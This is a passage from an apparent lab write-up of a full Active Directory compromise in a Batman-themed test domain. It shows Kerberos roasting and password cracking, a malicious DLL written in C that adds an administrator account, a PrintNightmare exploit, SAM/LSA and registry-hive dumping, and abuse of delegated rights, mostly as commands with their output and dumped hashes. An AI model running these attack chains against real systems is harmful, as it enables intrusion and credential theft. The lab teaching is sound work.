SMB         192.168.56.10   445    DC01             1127: GOTHAM\black.mask (SidTypeUser)
SMB         192.168.56.10   445    DC01             1128: GOTHAM\killer.croc (SidTypeUser)
SMB         192.168.56.10   445    DC01             1129: GOTHAM\deadshot (SidTypeUser)
SMB         192.168.56.10   445    DC01             1130: GOTHAM\gmsa-robin$ (SidTypeUser)

We can validate that they are real users:

exegol@workspace$ kerbrute userenum -d 'GOTHAM.CITY' --dc 192.168.56.10 users

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 08/10/25 - Ronnie Flathers @ropnop

2025/08/10 15:09:25 >  Using KDC(s):
2025/08/10 15:09:25 >  	192.168.56.10:88

2025/08/10 15:09:25 >  [+] VALID USERNAME:	 SRV01$@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 bruce.wayne@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 Administrator@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 SRV02$@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 DC01$@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 Guest@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 alfred.pennyworth@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 harvey.dent@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 selina.kyle@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 joker@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 jim.gordon@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 barbara.gordon@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 oswald.cobblepot@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 edward.nygma@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 lucius.fox1337@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 victor.freeze@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 harley.quinn@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 bane@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 dick.grayson@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 jason.todd@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 tim.drake@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 talia.al.ghul@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 ras.al.ghul@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 rachel.dawes@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 scarecrow@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 black.mask@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 poison.ivy@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 killer.croc@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 deadshot@GOTHAM.CITY
2025/08/10 15:09:25 >  [+] VALID USERNAME:	 gmsa-robin$@GOTHAM.CITY

so we have a massive list of users for possible spraying (tried username:username… did not work :p)

AS-REP Roasting
#

Let’s check if any accounts are vulnerable to AS-REP roasting, which can give us hashes without needing to crack passwords.

Command used:

exegol@workspace$ nxc ldap 192.168.56.10 -u ../../users -p '' --asreproast asrep.out
LDAP        192.168.56.10   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
LDAP        192.168.56.10   389    DC01             $krb5asrep$23$lucius.fox1337@GOTHAM.CITY:d9c404566afbe1d2286981677fc80698$6c537f49172a7fa52228b39feaa0bdb262b60b4c34e50bb2e437d3c42348127c247b3aeb4c0d2be73559030304378247855460f15704a67237f01402146195090ba77c4a0f4e98d071c77f7e219634c4562cd6083e47b29cee8277f0a226fa28bae2d8545f310dd1098207b0ecbcd58d16faadfbc527c6e6ee0e19098a597f99d200d21ad3ab571cf1b8a7609a2420eed0801441c529ab05d26096412cfec26f6ad6d989499cb9e97333dc002d9527aac2c4ab9a9f594e46dd13eacee3c87b1512cb6c6ef79dc90181617c7fc21ea23e148af321cce33e87307456e6a195aa64ee8f07ffcbede662c856

Vulnerable account found: lucius.fox1337

That’s good news, but I ran it for 15 minutes and it didn’t crack. Too bad for the lab. I’ve been grinding on Active Directory day and night for 3 days. Through an AS-REP roastable account, I can:

https://www.netexec.wiki/ldap-protocol/kerberoasting#kerberoasting-via-as-rep-roasting

Kerberoasting
#

Now let’s use the AS-REP vulnerable account to request Kerberos tickets and potentially get more hashes.

Command used:

exegol@workspace$ nxc ldap 192.168.56.10 -u lucius.fox1337  -p '' --no-preauth-targets users --kerberoasting output.txt
LDAP        192.168.56.10   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (signing:None) (channel binding:No TLS cert) 
LDAP        192.168.56.10   389    DC01             [+] GOTHAM.CITY\lucius.fox1337 account vulnerable to asreproast attack 
LDAP        192.168.56.10   389    DC01             [*] Skipping account: krbtgt, DC01$, SRV02$, SRV01$, gmsa-robin$
LDAP        192.168.56.10   389    DC01             [*] Total of records returned 1
LDAP        192.168.56.10   389    DC01             $krb5tgs$23$*joker$GOTHAM.CITY$joker*$3fd3e317bcab4d20ef85bb713a18c8ae$5cfb68418ecc8da001f33f20104d453c5f7e37f1bd5d4bbee6e0990664803fe209940f1303bae56dfca45eb7ecd2457f2932510683e2baf0558431abd9068fc821cc407119436f53d12e99fab68d43d4fcce94774678555976f0ea7f818f045243f70eb608ae2ff25c746aa7125287175ae1a0728b456f734245ddf04faa3ebe08cee64c22c9a607672caebc8ef0ae43d45f4de9935ef6b591c92480e3db2f77e8c23ba4cb1d37cc17aea5793ae8541d935ebd5a864ecb704051b6a83ec1dfff4a28a72b00d0fb6a117f8ca016374295fdf4be0ccd0e15b273f814d3cfde6442cd3370c7d2b2e5f795c73406439e9d6a4c42e1d9995b47595843e09624f934cd50f27c5f7769e3a73e3d0d63a1988f3521e77777d7023731ca982901c92a8525c33727051bde3ebb13e98e2682d4aea10acca3c678f86ecc860b2acfca4c69f2009b27ed75cd74f5743837b8130ce986b702ec33208b5fe1152635a51924842677a808ca8ba9917d6aa310392cbd387fb9c80c536d4ca2aa16b84b7a564f6df444ee8693e76a6c19ce3f46c0f19ee673edce377afc12a1bac7237f52f36e3f2e7f2726d5dbfb870e01180942b888118843a25513707de557ddcaf93cce7cedbc46411e8a5229a7c9d2512ced38f58bb0ec1fc5d72ae53652b757f83321fbb3d18d4370a1519eadfb051e200b1257b5e0a721a27cb4dd65258caa9bf8fbb06ed6b304169e61987c98b19f10e06f4f7f1ff4ef2c976e186d2209c555f0674bf2e2cec55e200a65ab7ceaf62a7148c086ad05fe8245710bc09018082d46b7d6438235fde0403f5e854b8f228bb8016be0101e7db373a22e64e820a48e41394a4a6794165ffc207514ec1e83c318dd6a63afc5d0cbe7bf89dba02928002ee0e5cd942dc69f84249e358a1b20aad835aa3af582f1831a03f2c32ca6eb8a0291c3e129fd213b9fa2874b1c2dd4747abdb5d9db4bb20b70f2e5ceca5c690152285eac99093fa3f778cbb2a7504958e41a786e7ca13104481bbec342fe8d34800cc2978854fb93b4410a6c070326e9d6bf7cf26302f154dc74c6c416c8a69ffe2337531f9ead230c386274e5500f7aa38b8154fe88397c10c180ecb22d527aafd83d46689ac2f1155cd359f6011ddd5fdec4c20ceb51517585069001fce023727781ae48e68d0631af39d30364ca245a277be581f207e72514852dfb4386768e92864daea63a4433ff462dc5eeb799181afb786f897603dee9113998ef0ca93a16d6b176ba43dd8fff3dc59f7d6a093aeaf530dcccb96fb86b81a0e45434ab722fbc9d247b939f6c44d47bf5f5457659be1d1375099a

Hash obtained: TGS hash for the joker account

exegol@workspace$ john --wordlist=/usr/share/wordlists/rockyou.txt jokertgs.hash        
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])
Will run 22 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
<3batman0893     (?)     
1g 0:00:00:06 DONE (2025-08-10 15:51) 0.1499g/s 1723Kp/s 1723Kc/s 1723KC/s @4208891ncv..;iiI4k
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Password cracked: <3batman0893

Excellent! We now have valid credentials for a domain user. This opens up many possibilities for lateral movement.


Phase 2: SRV01 Exploitation
#

Administrative Access via RDP
#

With joker’s credentials, let’s see if we can get administrative access to SRV01.

Command used:

nxc rdp 192.168.56.0/24 -u joker -p '<3batman0893'

Result: Administrative access to SRV01!

Wayne Service Discovery
#

Once we’re on SRV01, let’s explore the system to see what’s interesting. I found suspicious batman related stuff.

Directory contents:

PS C:\> ls


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/10/2025   6:52 AM                CleanSlate
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         8/10/2025   5:05 AM                Program Files
d-----         8/10/2025   5:18 AM                Program Files (x86)
d-----         8/10/2025   4:54 AM                tmp
d-r---         8/10/2025   7:28 AM                Users
d-----         8/10/2025   5:20 AM                Wayne
d-----         8/10/2025   5:18 AM                Windows
-a----         8/10/2025   5:15 AM            660 dns_log.txt

Let’s dig in

PS C:\Wayne> dir


    Directory: C:\Wayne


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         8/10/2025   5:20 AM         115712 wayne.exe

I’m tired of .exe, I want netexec ┌(▀Ĺ̯ ▀-͠ )┐

Permission analysis reveals:

PS C:\Wayne> icacls.exe .\wayne.exe
.\wayne.exe NT AUTHORITY\SYSTEM:(I)(F)
            BUILTIN\Administrators:(I)(F)
            BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
PS C:\Wayne> cd ..
PS C:\> icacls.exe .\Wayne\
.\Wayne\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
         BUILTIN\Administrators:(I)(OI)(CI)(F)
         BUILTIN\Users:(I)(OI)(CI)(RX)
         BUILTIN\Users:(I)(CI)(AD)
         BUILTIN\Users:(I)(CI)(WD)
         CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\> .\Wayne\wayne.exe
LoadLibrary() KO - Error: 126

The BUILTIN\Users group has data write (WD) and data append (AD) permissions on this folder, which apply to its child objects (CI).

The AD and WD permissions are the most important here. They allow you to create new files and modify the content of existing files inside the C:\Wayne directory.

The LoadLibrary() KO Error - Error: 126:

This error occurs when the wayne.exe program attempts to load a DLL at runtime and fails to find it. Error 126 is specifically ERROR_MOD_NOT_FOUND.

The program is looking for a required DLL, but due to a misconfiguration or a missing dependency, it cannot find it in its standard search path.

DLL Hijacking Exploitation
#

The wayne.exe service tries to load alfred.dll which doesn’t exist. This is perfect for DLL hijacking.

Malicious DLL code:

#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved ) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            system("net user elliotbelt elliot123 /add");
            system("net localgroup administrators elliotbelt /add");
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

Compilation and deployment:

x86_64-w64-mingw32-gcc alfred.dll.c --shared -o alfred.dll

Transfer and execution:

Invoke-WebRequest http://192.168.56.1:8081/alfred.dll -OutFile alfred.dll
net start WayneService

Result: Successfully created the elliotbelt account with administrator privileges:

PS C:\Wayne> net user

User accounts for \\SRV01

-------------------------------------------------------------------------------
Administrator            DefaultAccount           elliotbelt
Guest                    vagrant                  WDAGUtilityAccount

SAM and LSA Hash Dump
#

With our new administrator access, let’s extract the local credentials to see what else we can discover.

Command used:

exegol@workspace$ nxc smb 192.168.56.11 -u elliotbelt -p 'elliot123' --local-auth --lsa --sam
SMB         192.168.56.11   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:SRV01) (signing:False) (SMBv1:False)
SMB         192.168.56.11   445    SRV01            [+] SRV01\elliotbelt:elliot123 (admin)
SMB         192.168.56.11   445    SRV01            [*] Dumping SAM hashes
SMB         192.168.56.11   445    SRV01            Administrator:500:aad3b435b51404eeaad3b435b51404ee:f659535a42adfdbc297197e20073cf0b:::
SMB         192.168.56.11   445    SRV01            Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.56.11   445    SRV01            DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.56.11   445    SRV01            WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7d0577e3707a5387a2e5cead4ff999d8:::
SMB         192.168.56.11   445    SRV01            vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
SMB         192.168.56.11   445    SRV01            elliotbelt:1001:aad3b435b51404eeaad3b435b51404ee:f17fff84753682b1a3147da512354f3e:::
SMB         192.168.56.11   445    SRV01            [+] Added 6 SAM hashes to the database
SMB         192.168.56.11   445    SRV01            [+] Dumping LSA secrets
SMB         192.168.56.11   445    SRV01            GOTHAM.CITY/Administrator:$DCC2$10240#Administrator#39485ed3512c727dd30b8f5dccd81131: (2025-08-10 12:26:58)
SMB         192.168.56.11   445    SRV01            GOTHAM.CITY/joker:$DCC2$10240#joker#e7d14d706a6a8a40939f0b5ed6fa4db1: (2025-08-10 14:28:32)
SMB         192.168.56.11   445    SRV01            GOTHAM\SRV01$:aes256-cts-hmac-sha1-96:63fa2539564b735b5e1f6bc33ca7a22b73a7fe6c37b9f392d0a60825b64d38cd
SMB         192.168.56.11   445    SRV01            GOTHAM\SRV01$:aes128-cts-hmac-sha1-96:68ded1c5a57f3d336e1fb16f07d3f2da
SMB         192.168.56.11   445    SRV01            GOTHAM\SRV01$:des-cbc-md5:c1ce1c2ae96e91b9
SMB         192.168.56.11   445    SRV01            GOTHAM\SRV01$:plain_password_hex:6e0054005600670022007600320059005200710066003f0051003f004a0031003600350077003500760037003900680050005500610069004d007100230023002d0038004f0029007000280077007a00570036007800300028005f00640049002d00300050007a00550042006b0069005f006f003e0034004b007300670077002a004d0073005f006d003c004A00540033007400300032006a00750044002c004800310033002800580039002c0069003c0077002300450072007400570022005000750052004B0026006c0056006100480051006a003c003f0067007200390036006000470055005900540069006000
SMB         192.168.56.11   445    SRV01            GOTHAM\SRV01$:aad3b435b51404eeaad3b435b51404ee:a6af484f4f8d4e91a635cce086126a8a:::
SMB         192.168.56.11   445    SRV01            dpapi_machinekey:0x536398c499c86f21fd8a2b2e0ff63a53063e2002
dpapi_userkey:0x0d2a0df27786e41a16dc5846f625dbf93be5444c
SMB         192.168.56.11   445    SRV01            _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:102bca83c7311fdefeb1663b0b3f870be523d4b2cb11e7118fbf301ffb93de0366982e4f0c6b59144265a740cac89bdb46ab34da5a7c8aec84567baf2a19d6ebcc54d0504e88c336cc9f50a9bd7279076177250537eb804104b96a16f90556d4fe37b343d97da514d91a3613ff5fbfa43d288d11a8d79a8f20d8b31ab31f7e20b7235e4ee0de8877777cac7929bf389da60773d32d52092d8fdd82a0b2424b21b2c0450508fe7e43c455948a65aa32e54bb56ce0b843c4fe7865457efa412b1d62273564db64a520882ef6dc03a849d9f43ddaf0fae5aa69ffbb1975e3576c07aa39c1586c010a7e7bbaf0ba37313abf
SMB         192.168.56.11   445    SRV01            _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:01000000220100001000000012011a01aa231bad903452b7199f4e1ae1ae59e57d7389e7a9095501eec4053172fb0efd2281c15f9d83c1894b254eb959a1d2d24bd5a88c88c298893497f1ecd5cca6e36060c5de8ce8acbf4b04ae298dc3fe48b77a8ba5b9590ec41c3573a20ec2ecaa3b85fa3ba68d348cb1a112036a53f58e0bbbc11c30f2feee5fd168ab3d904f0efc1b1a64f2c7f32cb160af5d5286b9801eee3c2d4c77d79c2e86853bd800a147aa695a51a360a3306fabdb19f49a3c527aa47c005bcd9ece9cb634efb51b3e7b0e2688a881d4212005329dffe8a5ab020ad39a41fc4d2d6a159af3ddc4927d31ba9546f1860c849e8483ae12ddc2b77d1687db532735be6c54187ef9ee94658f0000fe1dfef84c170000febf2d464c170000
SMB         192.168.56.11   445    SRV01            GMSA ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c NTLM: 76679bd649f3801655ba01794de14e0b
SMB         192.168.56.11   445    SRV01            [+] Dumped 10 LSA secrets to /root/.nxc/logs/lsa/192.168.56.11_None_2025-08-10_182409.secrets and /root/.nxc/logs/lsa/192.168.56.11_None_2025-08-10_182409.cached

I don’t see anything very interesting for pivoting besides SC_GMSA_DPAPI. I’m looking into it because I’m a noob and not too familiar with it.

https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword
https://www.netexec.wiki/ldap-protocol/extract-gmsa-secrets

A GMSA is a Group Managed Service Account used to run services without needing to manage a password. So, we have the NTLM hash for this account: 76679bd649f3801655ba01794de14e0b
So i take the account ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c

Since my elliiot account is a local machine account and not a domain account, we’ll use the joker account, which is joined to the domain, for the next steps.

exegol@workspace$ nxc ldap 192.168.56.10 -u joker -p '<3batman0893' --gmsa-convert-id 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c    
LDAP        192.168.56.10   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (signing:None) (channel binding:No TLS cert) 
LDAP        192.168.56.10   389    DC01             [+] GOTHAM.CITY\joker:<3batman0893 
LDAP        192.168.56.10   389    DC01             Account: gmsa-robin$          ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c

nice, new user gmsa-robin$ discovered

GMSA Robin Exploitation
#

Discovery: The GMSA has GenericAll rights on harley.quinn (via bloodhound)

This is a powerful finding! GenericAll means we can modify any attribute of the target user, including their password.

Password Change
#

Let’s exploit these rights to change harley.quinn’s password to something we know.

Command used:

exegol@workspace$ changepasswd.py -reset -altuser 'gmsa-robin$' -althash '76679bd649f3801655ba01794de14e0b' -newpass 'elliot123' GOTHAM.CITY/'harley.quinn'@DC01.GOTHAM.CITY
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies 

[*] Setting the password of GOTHAM.CITY\harley.quinn as GOTHAM.CITY\gmsa-robin$
[*] Connecting to DCE/RPC as GOTHAM.CITY\gmsa-robin$
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Result: Password successfully changed to elliot123

Now we have access to another domain account with potentially different privileges. Let’s see where this leads us.


Phase 3: Pivot to SRV02
#

RDP Access to SRV02
#

With harley.quinn’s new credentials, let’s try to access SRV02.

Command used:

exegol@workspace$ nxc rdp 192.168.56.12 -u harley.quinn -p elliot123
RDP         192.168.56.12   3389   SRV02            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP         192.168.56.12   3389   SRV02            [+] GOTHAM.CITY\harley.quinn:elliot123 (admin)

Result: Administrative access to SRV02! We’re making good progress through the domain.

PrintNightmare Vulnerability Discovery
#

After looking through my enumeration sheet cheat i see that the server is vulnerable to PrintNightmare, which could give us another path to privilege escalation.

of course netexec has a module for that (^_^)

Command used:

exegol@workspace$ nxc smb 192.168.56.12 -u harley.quinn -p elliot123 -M spooler
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.12   445    SRV02            [+] GOTHAM.CITY\harley.quinn:elliot123 
SPOOLER     192.168.56.12   445    SRV02            Spooler service enabled

exegol@workspace$ nxc smb -L
LOW PRIVILEGE MODULES
...
[*] printnightmare            Check if host vulnerable to printnightmare
...

exegol@workspace$ nxc smb 192.168.56.12 -u harley.quinn -p elliot123 -M printnightmare       
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.12   445    SRV02            [+] GOTHAM.CITY\harley.quinn:elliot123 
PRINTNIG... 192.168.56.12   445    SRV02            Vulnerable, next step https://github.com/ly4k/PrintNightmare

Result: Vulnerable!

Remote exploitation attempt failed:

 exegol@workspace$ python3 printnight2.py -u harley.quinn -p elliot123 -d GOTHAM.CITY -dll print.dll 192.168.56.10
[*] starting PrintNightmare PoC
[+] Self-hosted payload at \\192.168.1.169\DjkfDF\print.dll

[*] Attempting target: 192.168.56.10
[*] Connecting to ncacn_np:192.168.56.10[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\192.168.1.169\DjkfDF\print.dll
[*] Try 1...
[-] Exploit returned: RPRN SessionError: unknown error code: 0x8001011b
[*] Closing SMB Server

Error: RPRN SessionError: unknown error code: 0x8001011b

And I’m getting a 0x8001011b error.

Since Microsoft patched the PrintNightmare vulnerability, the remote execution of printer drivers via the Spooler service has been hardened. Operating systems have been patched to block attempts to load unsigned DLLs from remote UNC paths. The Spooler service on the domain controller (192.168.56.10) intercepts this request, detects that it is potentially dangerous (because it doesn’t come from a local path and is not signed), and rejects it with this specific RPC error code.

Local PrintNightmare Exploitation
#

Since we have RDP access, let’s use a local PowerShell exploit for CVE-2021-34527 (https://github.com/JohnHammond/CVE-2021-34527).

PowerShell commands:

PS C:\Users\harley.quinn\Desktop> Import-Module .\CVE-2021-34527.ps1
PS C:\Users\harley.quinn\Desktop> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\harley.quinn\AppData\Local\Temp\2\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll"
[+] added user  as local administrator
[+] deleting payload from C:\Users\harley.quinn\AppData\Local\Temp\2\nightmare.dll
PS C:\Users\harley.quinn\Desktop>

Result: Successfully created the adm1n account with local administrator privileges!

exegol@workspace$ nxc smb 192.168.56.0/24 -u adm1n -p P@ssw0rd --local-auth
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:SRV02) (signing:False) (SMBv1:False)
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:DC01) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         192.168.56.11   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:SRV01) (signing:False) (SMBv1:False)
SMB         192.168.56.12   445    SRV02            [+] SRV02\adm1n:P@ssw0rd (admin)

WinSCP Credentials Discovery
#

After looking around i find this in the root directory:

PS C:\Users\harley.quinn\Desktop> cd ../../../
PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         8/10/2025   5:05 AM                Program Files
d-----         8/10/2025   5:18 AM                Program Files (x86)
d-----         8/10/2025   4:56 AM                tmp
d-r---         8/10/2025  10:15 AM                Users
d-----         8/10/2025   5:18 AM                Windows
-a----         8/10/2025   5:15 AM            660 dns_log.txt
-a----         8/10/2025   5:20 AM           1118 winscp.reg

The reg file seems odd so i look it up on google. And of course my glorious king netexec has a module for that: https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-winscp (^_^) <3

Command used:

exegol@workspace$ nxc smb 192.168.56.12 -u adm1n -p P@ssw0rd --local-auth -M winscp  
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:SRV02) (signing:False) (SMBv1:False)
SMB         192.168.56.12   445    SRV02            [+] SRV02\adm1n:P@ssw0rd (admin)
WINSCP      192.168.56.12   445    SRV02            [*] Looking for WinSCP creds in Registry...
WINSCP      192.168.56.12   445    SRV02            [+] Found 1 sessions for user "vagrant" in registry!
WINSCP      192.168.56.12   445    SRV02            =======harvey.dent@coin.gotham.city=======
WINSCP      192.168.56.12   445    SRV02            HostName: coin.gotham.city
WINSCP      192.168.56.12   445    SRV02            UserName: harvey.dent
WINSCP      192.168.56.12   445    SRV02            Password: X76IAZS!j'Czu,
WINSCP      192.168.56.12   445    SRV02            [*] Looking for WinSCP creds in User documents and AppData...

Credentials recovered:

  • User: harvey.dent
  • Password: X76IAZS!j'Czu,

This is another valuable credential set. Let’s see what rights this user has on the domain.

Backup Operators Rights Verification
#

On bloodhound we see that this user has genericAll on the backup_operator group

So we can add a user we control in this group to save all the hives, dump passwords and pivot.

Command used:

exegol@workspace$ bloodyAD --dc-ip 192.168.56.10 -d GOTHAM.CITY -u harvey.dent -p "X76IAZS\!j'Czu,"  add groupMember "backup operators" "elliotbelt"
Traceback (most recent call last):
  File "/root/.local/bin/bloodyAD", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.11/site-packages/bloodyAD/main.py", line 210, in main
    output = args.func(conn, **params)
             ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.11/site-packages/bloodyAD/cli_modules/add.py", line 247, in groupMember
    member_transformed = conn.ldap.dnResolver(member)
                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.11/site-packages/bloodyAD/network/ldap.py", line 281, in dnResolver
    ).result()
      ^^^^^^^^
  File "/root/.pyenv/versions/3.11.11/lib/python3.11/concurrent/futures/_base.py", line 456, in result
    return self.__get_result()
           ^^^^^^^^^^^^^^^^^^^
  File "/root/.pyenv/versions/3.11.11/lib/python3.11/concurrent/futures/_base.py", line 401, in __get_result
    raise self._exception
  File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.11/site-packages/bloodyAD/network/ldap.py", line 275, in asyncDnResolver
    raise NoResultError(self.domainNC, ldap_filter)
bloodyAD.exceptions.NoResultError: [-] No object found in DC=GOTHAM,DC=CITY with filter: (sAMAccountName=elliotbelt)
exegol@workspace$ bloodyAD --dc-ip 192.168.56.10 -d GOTHAM.CITY -u harvey.dent -p "X76IAZS\!j'Czu,"  add groupMember "backup operators" "harvey.dent"
[+] harvey.dent added to backup operators

since i’m not smart i tried adding my user that was a local user and not domain-joined, my bad, but next try i successfully added harvey to the backup operators group

Result: Successfully added harvey.dent to the backup operators group!

This is a game-changer. Backup operators have the ability to access and backup sensitive system files, including the SAM, SYSTEM, and SECURITY hives.


Phase 4: Domain Domination
#

Backup Operators Rights Exploitation
#

Now let’s use our backup operator privileges to dump the system registries and potentially the NTDS database.

Command used:

exegol@workspace$ nxc smb 192.168.56.10 -u harvey.dent -p 'X76IAZS!j'\''Czu,' -M backup_operator 
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         192.168.56.10   445    DC01             [+] GOTHAM.CITY\harvey.dent:X76IAZS!j'Czu, 
BACKUP_O... 192.168.56.10   445    DC01             [*] Triggering RemoteRegistry to start through named pipe...
BACKUP_O... 192.168.56.10   445    DC01             Saved HKLM\SAM to \\192.168.56.10\SYSVOL\SAM
BACKUP_O... 192.168.56.10   445    DC01             Saved HKLM\SYSTEM to \\192.168.56.10\SYSVOL\SYSTEM
BACKUP_O... 192.168.56.10   445    DC01             Saved HKLM\SECURITY to \\192.168.56.10\SYSVOL\SECURITY
SMB         192.168.56.10   445    DC01             [*] Copying "SAM" to "/root/.nxc/logs/DC01_192.168.56.10_2025-08-10_202807.SAM"
SMB         192.168.56.10   445    DC01             [+] File "SAM" was downloaded to "/root/.nxc/logs/DC01_192.168.56.10_2025-08-10_202807.SAM"
SMB         192.168.56.10   445    DC01             [*] Copying "SECURITY" to "/root/.nxc/logs/DC01_192.168.56.10_2025-08-10_202807.SECURITY"
SMB         192.168.56.10   445    DC01             [+] File "SECURITY" was downloaded to "/root/.nxc/logs/DC01_192.168.56.10_2025-08-10_202807.SECURITY"
